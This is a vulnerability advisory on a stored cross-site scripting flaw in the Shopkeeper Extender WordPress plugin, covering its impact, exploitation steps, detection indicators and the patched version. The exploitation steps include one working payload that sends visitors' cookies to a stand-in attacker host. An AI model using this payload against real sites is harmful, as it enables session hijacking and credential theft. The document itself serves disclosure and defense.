CVE-2025-67544: 
WordPress vulnerability analysis and mitigation

CVE-2025-67544 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shopkeeper Extender WordPress plugin by Get Bowtied, affecting all versions prior to 7.0. The vulnerability was reported by researcher Jarno Vos (jrn5151) on October 14, 2025, published by Patchstack on November 13, 2025, and assigned a CVE on December 9, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into fields processed by the plugin, which are then persistently stored and executed in the browsers of users who visit affected pages. Exploitation requires low attack complexity over a network vector, but does require user interaction (a privileged user must view the injected content) and the scope is changed, meaning the impact can extend beyond the vulnerable component (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript, HTML redirects, or advertisement payloads within the WordPress site, which execute in the browsers of site visitors. This can lead to session hijacking, credential theft, defacement, or redirection of visitors to malicious sites. The changed scope means the impact extends to end users beyond the plugin's own context, affecting confidentiality, integrity, and availability at a low level each (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-67544. The EPSS score is approximately 0.039%, indicating a low probability of exploitation in the near term. Patchstack rates this as low priority, noting it is unlikely to be exploited, though XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress plugins at scale (Patchstack). It is not listed in the CISA Known Exploited Vulnerabilities catalog.

1. Reconnaissance: Identify WordPress sites running the Shopkeeper Extender plugin in a version below 7.0 using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Navigate to a plugin-controlled input field (e.g., a post, page, or widget field managed by Shopkeeper Extender) and insert a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Trigger execution: The payload is saved to the database. When an administrator or site visitor loads the affected page, the malicious script executes in their browser.
5. Achieve objective: Harvest session cookies, redirect victims, or perform further actions on behalf of the victim user (Patchstack).

• Logs: WordPress access logs showing POST requests to plugin-managed content endpoints from low-privilege accounts, particularly with unusual HTML or script content in request bodies.
• File System: Unexpected modifications to WordPress database entries (wp_posts, wp_postmeta, or plugin-specific tables) containing <script>, javascript:, or encoded XSS payloads.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after visiting pages managed by the Shopkeeper Extender plugin, potentially indicating cookie or credential exfiltration.
• Process/Behavior: Unusual admin account activity or session anomalies following visits to affected pages, which may indicate session hijacking via stolen cookies.

The vendor has released version 7.0 of the Shopkeeper Extender plugin, which patches this vulnerability. Site administrators should update the plugin to version 7.0 or later immediately via the WordPress admin dashboard or by downloading the patched version from the plugin repository. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard. If an immediate update is not possible, restricting Contributor and Developer role access to untrusted users can reduce the attack surface (Patchstack).